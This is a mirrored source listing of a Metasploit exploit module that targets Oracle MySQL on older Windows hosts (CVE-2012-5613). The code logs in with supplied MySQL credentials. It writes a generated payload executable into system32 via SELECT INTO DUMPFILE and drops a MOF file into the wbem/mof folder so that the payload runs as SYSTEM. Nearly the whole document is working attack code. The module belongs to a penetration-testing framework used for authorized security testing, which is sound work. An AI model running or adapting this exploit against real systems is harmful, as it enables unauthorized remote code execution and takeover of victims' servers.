Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mysql/mysql_mof.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::MYSQL
10
include Msf::Exploit::WbemExec
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
include Msf::OptionalSession::MySQL
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution',
20
'Description' => %q{
21
This module takes advantage of a file privilege misconfiguration problem
22
specifically against Windows MySQL servers (due to the use of a .mof file).
23
This may result in arbitrary code execution under the context of SYSTEM.
24
This module requires a valid MySQL account on the target machine.
25
},
26
'Author' => [
27
'kingcope',
28
'sinn3r'
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['CVE', '2012-5613'], # DISPUTED
33
['OSVDB', '88118'],
34
['EDB', '23083'],
35
['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13'],
36
['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],
37
['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
38
['ATT&CK', Mitre::Attack::Technique::T1078_VALID_ACCOUNTS],
39
['ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER],
40
],
41
'Platform' => 'win',
42
'Targets' => [
43
[ 'MySQL on Windows prior to Vista', {} ]
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2012-12-01',
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options(
56
[
57
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
58
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
59
]
60
)
61
end
62
63
def check
64
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
65
return Exploit::CheckCode::Safe if not m
66
67
return Exploit::CheckCode::Appears if is_windows?
68
69
return Exploit::CheckCode::Safe
70
end
71
72
def query(q)
73
rows = []
74
75
begin
76
res = mysql_query(q)
77
return rows if not res
78
79
res.each_hash do |row|
80
rows << row
81
end
82
rescue ::Rex::Proto::MySQL::Client::ParseError
83
return rows
84
end
85
86
return rows
87
end
88
89
def is_windows?
90
r = query("SELECT @@version_compile_os;")
91
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
92
end
93
94
def get_drive_letter
95
r = query("SELECT @@tmpdir;")
96
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
97
return drive
98
end
99
100
def upload_file(bin, dest)
101
p = bin.unpack("H*")[0]
102
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
103
end
104
105
def exploit
106
print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
107
begin
108
# If we have a session make use of it
109
if session
110
print_status("Using existing session #{session.sid}")
111
self.mysql_conn = session.client
112
else
113
# otherwise fallback to attempting to login
114
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
115
return unless m
116
end
117
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
118
print_error("Access denied.")
119
return
120
end
121
122
if not is_windows?
123
print_error("Remote host isn't Windows.")
124
return
125
end
126
127
drive = get_drive_letter
128
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
129
dest = "#{drive}:/windows/system32/#{exe_name}"
130
exe = generate_payload_exe
131
print_status("Uploading to '#{dest}'")
132
begin
133
upload_file(exe, dest)
134
register_file_for_cleanup("#{exe_name}")
135
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
136
print_error("No permission to write. I blame kc :-)")
137
return
138
end
139
140
mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
141
dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
142
mof = generate_mof(mof_name, exe_name)
143
print_status("Uploading to '#{dest}'")
144
begin
145
upload_file(mof, dest)
146
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
147
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
148
print_error("No permission to write. Bail!")
149
return
150
end
151
end
152
end
153
154